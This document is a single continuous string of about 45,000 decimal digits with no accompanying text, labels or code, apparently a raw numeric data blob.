698903090196636947708170592588806466463796150572683273668004434878218345513718276946988410976855522020541741252451958514169983043173971555383681175409595740176901524092917100966187137044765794036235880025936831751188817385239590604195686942204838272029656833388348120163221033834371838633477526977577100989848265567639528611196594286991774635554342848553024684736655089361903810514498497735615226643643939768922002005888512449876987579529696027395508645022294815665292730766549701604499972789593931072486090659992492855200265508833407430568430597455848109507301484015409768613547349663669710058368933397618057158452556790848836548618027666581902604155755221128079093280359863819469489500197422615855750488497069333870983212290510762597812122360377418699233561083369888366932056330897444180611399019088223671837345315887805372462297517294492783001507273313778181231273702759262192627229405594295605005527207955532969279377218302635214148268086217998757759359944093612754278048037982483562286616317022132403228234924131204370350125180819172502350499935847256308516476159305085819173252919000345641342884593581577872774732262092853480406507686103555125190004521723894112741428353682494279683943306823748227013596277932189308517253443600316213457564251459012798467081003250343539942488606538509477943356832202894269170569794328733285708889342595922878093629669798511374304413312428147793081091274284735805519792392655716795999064859322661604372948792772594570807067822038204924917561928394759810601085730822584292448182871208155789127848438509120528497691676855373366699231421060352728810414513344892659369999469367824504960083952636760161384349981253218631554257821781096895952970661870731665387816396175371032590591980378263690416032336721839450233638254288415447673404143139758126801892633428631843601288045010214727354668656572784262529223566311194063002740400726534166935099999781726386134893562581910421160941103057963567152243761505438670237155277903764381500626926189072878444673720215870359566873123332474863544636786482727155227413049281061473511730252308869687149949702328869364353882640246888082328360979206121074572635091414998159115509739524822986758700814559315111661335959216934162609706569775098463441292590602972812087575033451644524286147293184629501355693783914803899363082762932507090237382803441483388458378402560086261821605773898028275938277132469864708292822870634379526872355188008907040110787513947840679806684156505658917497268835454398492606740583559866125144242299112222193354224455038371060568649684576766738529173079517124577474104363141206480376128366205937597805873514491651173273686653639616673426354289763986413909049605809176880886567804973895936730132076145552295782336580125214666372289172004633095229136330367624346701609103923155722540907562884573893785313755888194024800553357375394172562413212059367531010499455799722838630325634560876682951216801581333051018012870376038834747374849887304251785039212983546713321066914426571106043278693026385283894677414438843128234054301324789303374353103151673161133708890922935549665169263088895162987408214446418631317822948048874219863304329306990605906427323238998260216547899524058854567673233968855691058162135329236939711883213285372222047759831603976706579852394479121531097807755120677648508806496992287453677883050439320289420221633324981313122776363524348874405414384830928680865367064348880614403782422304319717872659676550358255934985679823047002447107238295244669619830832237356779437809352852614780732723788433337706421680901942194734236006054855160620121292841495422009108690629960222120169433594656296858626103840290967392430929528889522053962592451852316887401887228838783839976605915653335345148315697233416002202193933545759294091582138546558827065324357727574329671979776580441343350101299217570281368602326084867093423877761785789595158789570272466626324702882626391199418623916020214470572054858115108573558875330799362983873579285851696911666641322284762113981882583960835912597651667451857598106873927950681024709590505703770348386571524738584981155234073487202285933770618915189002623885093591331662234414079176226413329783925447293397281833038044221673222849700100445009070909759923346874032585061622537834111377125430851223941984462198893245081324161805284891194524013112377517389349852630595397201592350960451942866559438937516140656684616253357799514370475122296510447276681135483786947871217004163152461240917892320211972493706149982071252768912436895608611800637719768342216139887779464133456300078908790040448765459660922787046739659119639668075105690539051906697206499400187927817596018594640372438258268281454768055931985293584770453385516174575742976343472155107272947741462641328560177949786957354708595190697005588575453158802138400993023821868350498410834627039531753855198541768526059996702788052944169364485523094796948630318419250279659312351503138944705500082390206683775065036156422035471810941924790582348082872689541324718764911759698728601743141517124581040020193359667764652221116156559444430009102445434375338539321043481598813287515031974348194784165025148351713688288106952073419778161008647289332428737070006518246099835520198905474398980301663782415287919218981559750182739189846531714937539044188799004605574282751650090255355721032583013560463286911822992520408179135283573784276527319401896026710195241898613677300537176636639288678364975816262068905555413154100797057209707246536040235767901337519484558086139043129930279945306110059102183702653032758942977243484266234220303886718118956506181109116771413955436521059708589918911646111047160094037170011120926266855994416450561835305910772428779232834681396491814900719688720210068695980728256611429960155466475375331837672611635056577793995773908966804888601773490646859818777445689259417138317448851718672304669202887963329992990192961250376242322554231499257621109204867835493613936819553207933483329171156257991628756588802456081061737775263465930916028827994423304485367935076528965316973375961984501547821720034586569698982777414745151822854548251063016184515823268914805598141102263780128100710074031425258835586161331509478438035904726035257649342195715413706686683677981733108549166489183718287462707804876971796719856405002989408494074753015913133017970962166258789094709084965281403134850595225612437901289805839553901874493368832358572960827759821983776801787883922077565486754171784903967477609489243675752725724455645924251758004434208880972927325891358218625656331091000744642465897330378694638947685744466524565979672970439333241502754238252792770053476110103037254870471504288336194151303394676253779586812183054295577679583448524249678175136765517184714423050140323410715702074478446422005506318220779566974298336536999670922715019344959594593880761383699096864172035907650168541366253678290584485036888141652961564191600478576207839343538443270208212024462084816702830274094455879561758532584626286005519173352463646901560749317386998994843513415698704991156359223917811298860969416044547450354437874663037400971658678600492738676540266811212213241458980739702075169023953019476723735888983151678028921271836865792733272021340862459560708382314562701797561665544976797490523783150377053580807970987313767889212724213366262930561812540268382118228874271036961196119114949825761403303545493305316486752241472978677235310968436140899711303714326268896989750094639788592157093596519278650985436433466250305682870517828870819308437214550005431885732290471597464196143608174745997198625109454799260566105225857113934215375657818533014357092439509058569375656737414208179284252325821556007522974417038901090393473639101493525395755127191353015632133847234111639193157879830591169374125298662363360748098684118382315792859601364663835046836692099444244367180908684164079145501502900639318579186651264911349498223989381045956562871671825540446031964283053210336004394481449724266271743701822275876045078081799509485490280274826727894979026753274206785508992555412440871212086695857047508857111173656400017152084611369887885725697045593592112847466138676795812934097086142139177843024179146591481475795794825814993146238693168107631318428214420683809050837306206566619340204958633620195110115304181139473544090592513397251834819847368056037315644335190244684837343474626013867935257113040551213597572664045630303218357397063954005535127181419436616153850738267336583408106283451241679071298071836493833444814868954420810507213227997293990180575664713074182533490067498294917557735391500429383465891506200476758115347229798884101409433798033214061466074261079578992446154154674186440537529116480036242003420871575391325413037038206114437157310277648544487636544993076921206493878749289495717109800283091728143121090479590139566584534343319978952192455274658581532896371939619334439417307428332129122391821045812409040001175505509987543611617356304243953170552946951679009066800525087689762428286571403358982418113474728131415037014225235718767537032471627277972847163498616718869034353206428516410658126582562766022386925820211713681951241623693465094462060571120727903252067498197316660610861198760836838900202741460523201202884315177816750912289309743137643364717778321829093581119971781868189404555991230061331997138312690785927631250683904630152332020465414543942741190821423813586601198814352241679532150971760457833763498922059838451787626585489249101014143663105511931369549156726912962922659511760108650186193489170519871217269419589879255966980610173576070036061571643703175439847557158650443880888932047552910567353767240192814219729618495101702565725497223853813290884998388551283064347556389998682981642117366456857690301273789117174823308073861896839714796479020626925706979203797447536051230631003650266007398420159406432015804233109658818127436829896982768245658454446654673361974127442619372264664037736868211139596806905805008874945301011170184836329987564143890084472654334883481483832821885556962826418362623166057056809783162642648801235621571802130756179194773412817908264988058253530568783941410139877994255157762531823803286417900049319928258559061737017268809745743968622552891404463651718350335896217025608821576603121436611000107598759972580059164375345429432411150790008954828840848896316013277552210812190045473934030253399266242632890859181825324485089000280103039742319397381799467927773160825553832338059318866371898020918478528901961724756166613262325902391101989789621049094596118151178472083950001324794488028252487369761420509548112748249984950300002134168364555895815561952282951156113512095250938153472811109103940144921810412199270886059205220946510143014403598442996521795809172758452301222084079435134382749206262361782663530536301970595540187138794022204952032608477772870318790286364453452160763629124756955355172338044109478368316276146555521028770093403171179393239085959325019880003291480463008990220899218002021938125004701022734855759554005331458027042427029405426986010293552354065790718883373189300429471104208340677795212250533672336569378217094606660949056636306173757383045441860449292333639883821839691864936994326944286247618139304480182933068284233246473104180648616093010664891514694591945586378133761451836823619716313125945875680727728096367740610126249421905439444708846360480794663260844133892802312316787890671390396444023753338814291322740569416201678776039104916970292447136267532105038682414838760028634456866525847529451540628553958477584467716027667789434122203770386950032286178787494820111047096917585811417234220337096280233004568519982689800817023736567569410823007670245171470942224549432280789757009970447628237373165558831369245781050001214824283747536722334415512052550267404967075222268455038678893373422810536602086175714406440563149752571403618531207871687894932125587705831782680351708855577468357119436030862180955645568129003214153335282760846253720742590239506462094116291949126119323364895071911699784208317220616826786544796482285003517266299387680291738186012706899499556444626172043074254018251159428117009478359643874088596903728568649134122320046462652857861484386160591969165894291111550104724622508290627803661661373687211344029647066683765777972114375577122570451167186497399268089022730639232674328498836272763364515117581512193335015145348367449140870323647996872212089817630137178826968847669795353334048455623189997964177027150322702866512266617481329059087129253133816869310522778582846924091647381153868829316474023030695992006344432810613735325346726796270101414108998225470597657403895268731195484938110481058505438528398041077232416510374027916391578543100155655426357760501345903122902118680433160369559225983162070069783036093924823365731810096477828584594451898913315507418738666650012808670979268104633275889259049842458596469632700119566782969639390024153721202117139975810150186465625564592587746419890165939288573071118467708362290937602704486744358633303800163132579264247627147954632850927247036903779947856645733419219297085801843406655031421034854199322280136767988376781458995252662759294692417464276933040461422104728083084992737934475756651691729745613254027063063530367930982571187467786850583094461443067627351484697407035890165596695499459229684890460339994142224723628349678996757615485538738526333386731522973968959183593822067681539172752651595421424786657192273223582113654015008286199759307709407515873350111555371274163879578043039368163066702977983081423422122423027951688931923573152524606547217226801691705526508720582326193599037501928853591587312518625935671141334265415187076218598327014762866764017632416796658155609218729270824395676639069339851037297424301030954716675053396183552634733232516162182378583166172280117021643216176939141247609748153871699631831875747340055130007949444379785638066062537846136819685543531539581223515683431306342310400463018797014930092523545564869031143767638652982031882438119207865730552458977115921034319923153540502436446382456296742032719899852137853810247585069064809015052274557185291418108951491701302871508032391615437119407083070138130550795270866089748889805341211135355508546551574094436096058668891445626171811412957523843210978742139888351131851578092320583193452599083871889246815590667870949654662162980219992971238268753438892058464539796077287568694886334527527334121172721290186264279728730045731465110633283650268407005575289601660927136666766070102886699122742415792237128991339611770715503555682889309833134556837772750543658940637478890410213317100756313996276135705319318206114579224769283111153167635514475987609190612299599921600464073831517830171853797766938881868240684364436837000924388160555215997813947771109344846650417307668398464842022351895101828060814832174907003154820363714297364437033396769016154500957125582694969271918735828719357234164227368744550143957760947068130308926556640759911798537800494577592716782986306191473196412647036394689186734380020222115470565802637459949360670031847463096018739623727971080779862199655289847102169727995147433081868906120291843526336570209533687092672270676604426398390814099552835242116052172354873608269453843199456752842285615703171654061472751376675097229392920313801508125937810951722438139406071311209075898507749494372341054242828157698131159914852858874871613031351921374111427594119911465887162279982891213903672498018276509118468615340328867028863469432336708201291675056033050330722837393561666976618961989546556422693487373124376193895185822679168037380573544167451405054501836180467775757186659283175382451035311671911783352213742363421567087859114907200604617873734297988989885662225363263420655388443554286557618629062373256261325844717648443587743077677697520534149902833543458398646421005015982366415316955756724368611075327599409071880716325456321315898468206980525318914773775587299783608029594059269559227900443996145589955081450681006317653937745452640005870524621295638288011991827725575780376697215175996782748815723070773009804545464149301163496914077183389609200755532769836515942293845355356861024584119626077584334956560218734636610664196367411161515366709949858813869741726302027775277000588542909218913772510665076688291554835326533623157089667802167279298952402513771715232637971671339709558881394877737848332199221090403241661030028690641139443551948422888680756964712306475362628827310288726051652758597680794028609064221937655275315137262635485515493431562602907816912305027321640558949933275961951033340421608955101084685961326912280543069436604213898279931018228427960603728573438046133145680406716826609137905458492496991637024380936057619489232267538926915834459311989361369027232589741595092950162765895430083913824033078832089060944599325567930238357238543620984150896850644908581281728785530003163430429962190773066090272770639795565249982600939339286703994873395067917719480672220028552417729170641004108956994629291919148369890904672081428482896684370507794696124192603155972038594095842369381293032650418656760703114876588643556397601045145772184490093960013759487044688504813100853281674149204496602738719917503530733267989324299322662391117749082820717280432157471388785093453948434881865551258411736048848016760179533741069631154345557634541409044687803599209484073383890619649300707155016818183154632086248591004088851781037756188097018550146553461680044032070552405315879676308866463370906185703740017361953853050790835562889354012596211740188375670184990710799360813719631728058648417880517954909185861477557814287535749291595560324058511013912529167243873924063327892870892157332948840260406489244144874734753664812041471309538793969741052249734757174195444595645046891358050528191344703872894275403406026275051837771842396862704279060654353052102140711726736055541810873365307553534487206049924235018075609117364126025073213625532048360307900796722870003456006559770488574642509089345876516543460869009434319310658929438855897784083198169179362609558575303154875903881194280259685305295658916698910210599492180584432594421751302564102845334489084163891130934196399821250143737943770496004790533629000467720126792338285598657172932531462761105774591016881726033022369743858679611783882287220069004677005334043459507597750734969591906216707119672151091218018901891175293966792068324934635421279956717151895801615965592306326890934159219644391210354474404822037991185580127472752607765635388983561557526243474590493336976490024779139845010921538669569489478217642483956131828912716710759360397933635721009040337253949893894968716341875889139088957347401183334347775294979716083368599712396018905916129543296718330996539853571597305422961198046618871279229571262888725064415105686103583659394597692225480429302699264958437587064972441539403997979879752459738331850384136497247355560067861876052242875711804404148165254776858554302966794490362307556399440774949297731543577101728641667994843846265956820939966144608633868059458753359479017368399483345463890467585537086585669057449124936815130271526961335523022828814747007632260870255470893057240609277536244885721782112916782657168086351723089662684670171285878651178743330361880627523159079587899778460857898630576099659847536785341918851904199062302805423922533002959574616624276190452820633600478144587669874613383151495179202931288343189207359213784995852122530838635820603056201716245606095444093620307182556812827935620880033238682304991275190436107401042237579229191822095446143856332871027068785193428957315574679313504029575759917539765941050511193694687395916466064502935002699952454244542513075226222480640983660803432992440599409877235048546643459349182696330040748261239266639588155314153935436927755796707921927339196302188574167093433710094404206621732250842137217288511398152536468113166187370596660156123213231076873400016365774758895595467066584216387216833906773908063685566531444197771401802691340219662093827926216859832619504658691542583668814801283405935172117358178217106654813937487590839186007053655933049830843307756060004561715786662663174610100840322830964290646704183413725940663908585857127110196933437885085200669027700849379248392196189657277163803124560169263454728967793525773222566944728382708100728702437001249043407094277427784120984096820324848707876209100275937239874132657912773126417798321606881587904269343900605470991850712101283280717275692708418329068943048195044049968073449854158452317132285844184938279458818898922404564719989861081819260894330327334648374554809390909815801353499450768954462141401202393083159886154556052896180995896319697484421735217306659550693758673009866927185623382958709647739438673090938964386346181957986941596410898450242525149878126441706402586059968866443549542698082307179474662341213762303930576685894308940319144648518387189322010524452725623836104711429094570754213225250774510814412109549978751218630427701675444659026657158329493045720809341676341559594442075526264909732651517587526117125643569428723163731764714382936163581811337505996394366209261733865863923306775285908951739772965411377424654976848150638785607433267862970969859052877658120501798414434971594419732172130456232229776192327809033901754885253708295027619812081734324814554910517559941369130795018832854477125293593742975416596336580673279477037226953965279542519464903033394672529033780807082667100160309374506383407023130275370251290751962213324428990554897993027739109838604366458341289093788252937833232418932453288631313992056755793327052357023277930996698899154997500373194645556473635335133418768885458626587228887229211866808963646382853155365112004982047619080608165284271302529462229848678655460090187776933572441395382358195533197685941837644679492194771518586410867747990802937415936774174150130805298200936098388630135128193564496726122663007841501929264405142519126766251484497039063078643957062080888465466168277062852064608768717407624825946443285100182772313980177319930904945150051188784773268645285726848329542142460955185012271984513336777935648212698683909669411549431171408886668272999007479245619188368829878962002639898751328659737293554978233498330982563793142823156571750890507733560035104479025594830713844582185473380972027593432438464231353485588214739005822367860509232291371765670353456413658829651633844469319996092329131640510239935444468777067141590753441833315115065235954314964042019875245478992283726735368869488083228353781176681041039196474955390617212832555404887440273394986053638668076141868362564240666081063170978813296391130943623245639746699591372812521950032873525497819762789107155899926349305832005647567283061172993319388967619191813016864750062038439199870444965430122969410948583535352555031564483547544804742910350386503825373794425044205875712978570430460247847105197153703528546092555944180276307783627210369893822484929080676095939549051835842184600417934196659095174309849846441275069829394022322254676148511076303860485963308944372027815944992908175151917797665310064556546004766566064436136827358705191318637707714737262205405345696034076166220050378929598215932820813679904912450299287192168017534434451035721745139071874321347317441685848050343018187156502253683499261377260020754082239220122405647865468194540679224435119626397074396593171330221229140896957141748294052977497849281889898253764773849808505870452963337347065427200103060110101553858952155558293327791501500712366838829337335378796688691200266097184074875379892996087031357368715623899953357252460963089331566477315602977410478502860756695183129476193095829470151869071058277341330832760472144240561060161503612094780973635633063923030095579886973939103172016852694142112256106066957209857724632864644440023122455854203712622238014568008129463677625103285895141773981530141779901848487048083972652296832585994427427872376172410845507641113193126330612880252238236857758191495564695090289562068718679748964367765178805008198890054453977921859335778692344526691920540104068896186106119563523320266916560666643540066223435227640181384682351271355229899692025589795052077979843674316407414099864421415145508591022698683211584395908361015708637616093204653653697150275986881499092580092196576991923736713408345633865385064387219202959083977496180640864923457578942730599287706740921030409977991534930652593563913859509313746328269383155970196170912248977895155338635946477877296134347647094569867125138993090708891810732546375149619993938386254118597858225913134021934138606097170979113058106361322262417985633231210724340703186161109517465510591696144763116584226024337772374341660531459005514934656470064979642350971817390461714343762671169043007988029014770869904301602358269572728152988912897475002829375732637843526117832492027909668523371601390950105093526469110854029450216199525836217984807113401300531198248307701366190360199862516727896081989569791102938290230775710592270552081861837071706764887397198008808625957102334796090219557491765280144879583002863979693186949794460049433570477851992566912714809941581760173282549285514683756427409013719548670733791294087790088070135405734145513414017857507435192236312264462118205361660394529019810346225548296934567179195934635139154922581892053483820682348670348360806417228647601436718300829637444591839678233275453352560914711330363244569123756398451577608315190035111788551900633698003088774899715596237726980663761927248011797888756202591315909095394324320582576786892772591445164953046294336563266041487661124141360531414802299016498148356230498675245347693185398558947429918246381929561821199915054507373011446008901141591110187344718226418209808252568672614013486615398359843195082184595289283464975559467454299823039253561501787224579242340190908306207061758900724992107584329261142383976805739470913462496639138093222515979303300443801048736481824081435197301972257320485028041390672588429377098883329839463813237420325267276144613721240935532202881709903289924678100732723506133160801238957034541092736734001457521406301032526743248338014936741850108006573412664050189919606844414526085254974971723188066948298940590624998461531773714203991728858532455910607700409628092627614489792545643282228508996063285114825578075771133268936378241840022820390394480960493125716661155238258623368360410940659724084069780894798560404084956702987188950770132322994380848609664891505441130217675297808674511673601934631050106358447057863207631136713438369254127530443571710157422256197679511714126353191055433318427367404883752561175759432805264027445309650872792568179249386547080585994851694359663599394436832507048896971449352036510066283157724396136599692534003258063712204946019284951412752011202141435497788190411435456522605964396130607505718359264358501322810896004673217907328592202452567547655427745357401114708887352811892075020318495512379189450517024567515095840686332424548704368995415747609143086801600942513759140072473362639081067734747607114768555304155800314394974512413786281971143359172187632258636162227973021358645940257094474931394449918414319116208850115823612005486523286661601583909287706202908598633274065821060964998516042589777613189945846314704418424776524021469775095029915546950759767597882460021539247990181370448928676148301491457722777225407787849658332725024392244357331233330904315054165365083619265125716656208449590419363880351222552475503552893036094927527748198054674683066478898587367088103605933801528092550554683521711157160689820757066211508667394823302773254348896176107073398662345801339082098562770092954393262061065682678741644212793639202281005924459627126490187893121396257411055171873761443783026002578673392509716963519170583009085253792962956668697140626524069634573643418271163701996713501815367487665543244901914055215212124313733238255863214138828880578200919651299921626608605460865329042571836555335725770130218280786546401196754945598820473579955040453384323637349970573263668329562469586944442888267808255340709189468916411027953996577411813451638825205190461665232139792919853698068378416033612542262742913954120000949846787724879629401919094466193074230099463675917172038140017263672101636388483788363751837961888144871926145555278888008698383037432529544421214212546967148705071279467626368814523062967113106016486293305501032793936828916490655443554125109272352709579850253430453377252258465727785702093647928610994569069152966600199631263001911556404280774930733604954716533042703581532132019124279990185388222244377979705809702475849438118860154628031036078586019206823229319590018684560750358758466204487284448160082383690312364155879639269198160292085738401411350790687132499406088613083499907911777635369947630823543485970652800292685941406017298451007541606253567974053186560566234400588922768988121320470656895711383833757756629700935088899787362690386750637058432670107591871440381308088418505908208407652335023338053246306156126855668731099716805678009363202331377454359732221879633487161212428388510394882691396758678153932590092347841442038456683664605334361376916188380902774441473378723596059661609373677573679049624255146411094815557829838706135842225347311529929677284764321157550444371787314699465186633507497676972244129161204286799976817606770034021748717089248888428988251377313897645856852214378773966515414125007840316451188166745106440186592405329971244215290297533466399786234224753805984955310177887430063742911978971647938507440224936163346088637849654998533434023349818404426746545575910859041030209829080790856878997469954264880568097420906141892178762912632672881501838620102815766172988871029505014981532615550138040043951549915980557068328917128294229955361514573601809367648879043887214784550124321396508068997686656132350675211492225223087938861217581584812621229831822819305269843057631760713672983489667054141849751548451044137332624478521514886550266205098854257078928689958583030462078879429911778046700558460701607879133008820079540051019896034741657079491920148318354180814413511895831252227334745317018333079802995063975947702904764821762892113387248467104483841546344430128570803569564192819578165923607473047398125249578577793304044944606336172046851168912233657424092186103019063619781369625134679222917635672836294896514691584426240521887199133553249574703451206295710865502046647046048422283376401286609468822925913374527104833855267671101870000118776090240252223414080115916994178093826302777925786317304165776204462403009384092734061457650396245757557874952152647088968340082425956638259341193560126383192867004713422327359503316726285380066699974466501888500971730363691271246730565103057844044141019164908922777837598951797287656979582472226142212405283798077110738352519305332832904180667092126328304026908438544714308399597250033618711026872300157580657409259379557293643464866456723491204253571913146353822727921370270399151478026908833686613715896738234842190160380218348725327929363517102687789722090413399408086090271262483749528689728268167563930221172693706258167830078083509252418421220542693540838187473252466843205905068738410766783905542034869396686789840314643392649744214194901315115993566163049680123291593645024107323269861675913247189657776697201244006696029959549281153241953294061660691546577200132462111871449211447122738562896717277530892460615707041701510292299290367289017834219816377914010215914525994196017759870113117229624274438421097379364304758280116100272424827934443947914555657674087306962726067669612740045915156438385936825316965363167424033498371979016249642089206712691463237851300676905112070069032157812220518372409990979547716156447669847089195197031817893043684823201819454088110978793250956643293099290120606005794408519177249158179817146880486967244546697317792860734105726225359167597772966154689949458062671518066388467378936430500566020479094082960011164424471826980627257102094214503984779863636822378721650311623694441991030183915782535421744847818333987822715898965437549364397943477678868529866233170588528625504389216767345691431835351048617361226714794759944445188698296917702972032397062363380618105271282585887482332358224177247572623809590041564034318565790696432049624613283356368496430988299399603573744094005013198964041950067762458480403476093935504460024404045740737364002082542733287156855689005190829089150977748290029431263936901437471018076193668167014918236729835400027958213364765623833253330651224069681737525676456029243287277750778031008314285047811343805688872348159636849993652246111836761343869304449554616315056213309579641742867171701265833296626891298276094876852133154099137346458062735739438160593300278824172959784514164759899126433279796896299540559430353058119355868282905917198641980378534094579697871297893256180394747322244507308972897310871619802775054741464509030570840856581949386372143518115788779836226203349597517913438262358374518514723238037404055212600327452646488915247478137949541091797408311996329518408288250365883589836035796428211238135556433782882079007787057891183618588724351867134746874257925404062181905351334586100629492148225600831596957000278479162691435311563209735526708145799772697396712816159947263537086069626578702310429647359395028018057614205068815002029855222980513779651197576881483753519719444084708003621642723260933735516470065314872560582985390787860111526859105145085414803560248987428496348373744116443660925619554365474711146696838058664681870497589232869889898632815787468170421448428320661275416843549236334571199913511780356342725922598718903122275808341791546364771573426939800916285137350008120394414064868042403729844171848248954771995261623509091690049471323566558633703324341335906359244374995790871503741575811436238332677340565343104397608381588061508514347028394324933656642815517151744661813949503654604617088027008736794420211913417690580814962918697830625740678604095581849166007232740746391477206194639916784093593569405159335310757613103212355273270166098820145241769466114753950221769951111373338876898502858385474859192271347107606156152192828425051713655511735787350833656289788004559750977915465145234028622656164855242037228464214813164585073929107148975837169524319147558549478320448585192515118980940997369001711673714997308580343539742991064899111901257376035057357057758063997261190227422779150673980265637293106851580472867065624703575103073946223404804381727652034603683113576890838882754034086004694522160941134597978747182129284387312089636947209858259617008239176005269907133707635531053612850674212192976440397881220941228563470700560781138170613170964355084531091407933833599089413263600524127422359829236288855579027240867938979953705467615511206729033403322864174834617807360043149470012455106107346752001503500291212552801513744435600988137148202763868106890798329547738665625908257783119596911420535781761434609783349574162125631313245862479228501933090358091770536424459924728874119110210689946296160603673892835214918953918251185667353038808220602701365027277198626177179232917696174488307796156200712343219804569538901184207720908474515905642822361802969094006134046490376802540212994897229851898350525549623023636652647870393679881838925128945992993615415330002379479904592814718504055171509102355127241409948947272404658911340954739035659926757978742237997035938701684723395119223003726963711166809650224783432728795064869930370654353989565596987406714544433248928972932176453122192856758658612434093521761319497749246775626843354360371203820200344718118012928883305127245978925628913775573630313873681336002546008249992029164764366395579603140614305806910120801543302014884305087915203225633107339399087084819530182539574048209290071084480836357408466545461347321419383854833522051635458546200640488652538089333135957137767057450392115293462372366677471528639162325411758840506752430971874216312012191083343534783286671510102888969752251604344688224524584766604653973233620083439042979355614322121904714298749443606093911514416834506690319398848240296559784901059383221566421363671401358212364024230964806854548298136630158152808013330731093831654498578816166824974646889818533946795519197000251937502432611170423375204598238289845773920872805918605635503663527572721576676590221295768611088150892410489962797916693694677976422267020682507141880760033231460244336710851080494220565245764599068241071682289519115119108107167936982556512715455143628131455914048909083928590997803907606520278598334635453419445835472926151560239565685832753181793786346500088897540673722475769496636049655672146372054479546280124162111519485528626375566724261620493454349570095408683946572696362297128256357225554105585760603019029512994161240019388403899820784429741805831748680503361199226824516025942400551392951197072008180809392073603083441494899883263486927786444564112434251491739042157193142919764437278583055124135411590637306631626323931575387806508093618809072009168745863864274212550205462457724807576346916323769507432230095747831932486177793649165593015225432840385779982983103244986695646140587816901753498956486882918904099089072816619209586025372557817527946962144641831049758449666471763850553820289174169687977400641456059784241289143902525077856159120077059545924122006653472763471249624957495949137989342693169776569901494050275149576526962416152285127966332591599183417495108053222244043627598967298997004895457073126750667050970864746712744146194657781791963199377551677617533199575991904342948950184865491485363319278502899952889288000121300205016156154327719456957047973969208729734320766858886026584529843372774560049963868693732450427432619594631511292362799314177517939781288159660921041465249064674318393559175813369308146559415956262229937675910578577548970174764273787535235261367723233715492665214673816786508102184140749420222076730887539088191335230525858639778418154923448269659624163279386402911030524645657451886159855408701706125687273518750379921407597369808879211746234367742420080490717150063975764346778757636123193809599000675620266672508989944329222490345277041698064221326629674559691040977511353802582898080915672424225644294396401840863780199678294170986479947155899387438267474757090973050560656454206459957594486469476586363991485464123355798631432367661319110815384698003024077824856942248178827901961802113239048020577284258143273213344617856865282394133506544136354243501171995227830701966475947437910930667581239163409144134566729556897851344388279581096858146313287086947953542818412041487465328146248473281688277449362777814654666314490328755504249414528683980237657490202639429483364441621958634864489495202538355188911105208774389444150341346175539415068757294910022081298396047189781630957805537371806165865090846115111653450524603740400084598520057738058810761379029076081981400071311965392314645544596635244749319197796502381750013950618339720983294955057362782460063879325536357358264222170505131047203027292498183732706910473575881466480011301737100395802886165695407530539182511012501116680598439866003249150735777028547416238298385801189367291376483180355609330478329145536657022040133889045844187889659941918888770001443841035215393628556881499028364773048903427677264864689603866842732119662178990650727336635736662835650160870879740310319804771257483400129225937317810611988943764985080901484735003886228583602443011597008873884409826920247199558956301229781932568484230412146348772266339304547632612301328944366405257960851618732892854976125028478870212409124332980133077960142655717109528018822862705215713419972983310407842381168400661906056006553306399266075663120162713246378585263784420722553360248813090165844868039942198318750084295638701985621564705891256176014093954475535140141392752798792965324360556382640044896879338982612969042488255490396693044096243782894076115244518835667659991708370554387878076159541655496141406497703745813777411618649969137165762619459209766598420502119118109801820641121827462488784981170343736630544547297905250386290341528247549690599780900289816120907771777438177438890328838234220429360568645742934112332244750506433855777802003395469741852736214073962413337430915932959731021982247203058890604968391916190408057413423180138402179241551269325636939409464236715346352458019079867982573705306175403314971218395346879563545062480438808645766455360184795851770421990838481580789551458494721332230377247650937449362857028553071861115984209551626459913032236618813374767631796341498226792756089731882538858318372482262650294046621626059282980678762964079010027760045704657592889559422321540604762387591932078769661888228533129929707023635042126242511344339692979269245641257261878189480637892042761268794482388168784750927916550073602824794031872645790912622930279806428980612439334951588711101725638702258584397254385487320630267307407820773571852019098579238798597270574485500927084112813428324906366727930155675481623896245814947031150027788893633241317129348630151218334408304199441729154046199908927775959912128678262736800724781619346600263315244312113627947683697958911138159949167165535556763303903768685487387355339366757534095081692098290406170009554099596286210558971598399937252342816378960363985086491279806454992127156764334006499621171568044335618483979815005591609433909772220702842192279719375222354320245240596987273618045754112354892309636404861878793834267419351357071071506149758227716885376745591457400102624578494166828230332457097391028544744655143394556676677291204981913459817477079200302236096395508779322916843926981695518418886914427652782673810477398524417247708001713960409619096936690693265755519553555789736989904008324811971983698059883429796927970837452481088158166627439931578602683627170546337467659032201886840505737284619069510995438480621399386263630339771869349181861029024630801834544603023713501215299032560227675932676213810215889642620051701113037844342756623814497511263984115661680266829767090009668855690612532925662413911414918294429944281192255140793238514308645605735070641175122517986272510603883227617957810737547435619652506183462416935704376211852981727039803750356128816005584990905054529649975804747912507037853659865237054195290379464228626019192870448492788135812249586368671638729584328358492927511379267677140107819793601854232184242555627889533542774226944097562619227838826263591212819126307891867756826850719983165302549638278794687076896000918557460614610313432202418144523821089654737540335919450406714976418318256036347191591920962048106408455267282012154646333742501828743779999221040468224455266751025694368766715232238736092859475685026221196309638043011251228583984378677675204178154409938232097976823654053414787634309485027895011788987903140705503629727518031763379542559047455651490431046827794288523106330956783425654662158743155494318327274804203578406508203808182565768898338159855367486262369522748249135055266879766632601787584903395731726887150505814747662145187512261237581633688512111857213403615364719906346642748951148416505912130648167526296742635576394925069142219022405618171728251614356210582915261025942247637983981274771256184064409005879101907872083433873865283471876249079935194887753531017484616280660118275159862400035507077054786992109794401199217080583152135006567374046170018274406214177774864832519140315713044756019528359138705584648386019950693104197820176750437459915738336659503479200799474756552633876582110278075655235880531803333412978612411905854929797238080435917528723472223723245975275633380621867893829475992823889724964927304036568720929056337534220530274710219387951943435250881872106866508014512493340476037757696006415099875899742146820007686782189281243215691492577268280520230370705441901770634546503183774439624389941776594178843403975596841128779209122834803333144591731837877356220173601572801587102390308154351571877752095142743149774958432732094469568973739637004412735691775337112921649546807915027398210328946275349088926477574762133054383565520011759727334506419401696528121211699560012420335914793941113574182447419987451435964977861675512762638055641190156636416900874842723720952239082978063494912388744781074459131878054477402511420730434424396010319909661441700812704701163291990159835825668431534648574347749281263852783565747383800333304363616664716644428860399929906808280170157424512266620781411782265749392440546752068757891807540280114315117333920247582744794474602470498310133510354685746627168099679036843712247582066708919623774383314197559188624175738126224297840866740903567824625454355790876632918792069255466393159347451598224276066212361226019974732556840936901379379445697807460418073882613853884061612011482168738625720751826735557834668210056027367842001873145083068004279548510562352543894801349315023273777666391507660821742957715667719143398821975304682631196671441002466639044971109635580932132084396453414555824585042004194872086492959748450320378451976189149178165333966173643215127184386961448894638648583705180114795128070830248734535994498855017635997881610946849472873500035935792836204935296474789073362289716240792083264179025340427750434833102313235138232237864278423715926066662638735160787061019342111609930286311311689317447198227285115244138702158218821369024456791793694941828783692548285479930672523877127126216995031747415162635633664877495484665186716804729176266943328025362064547814103886252354042649576217498372461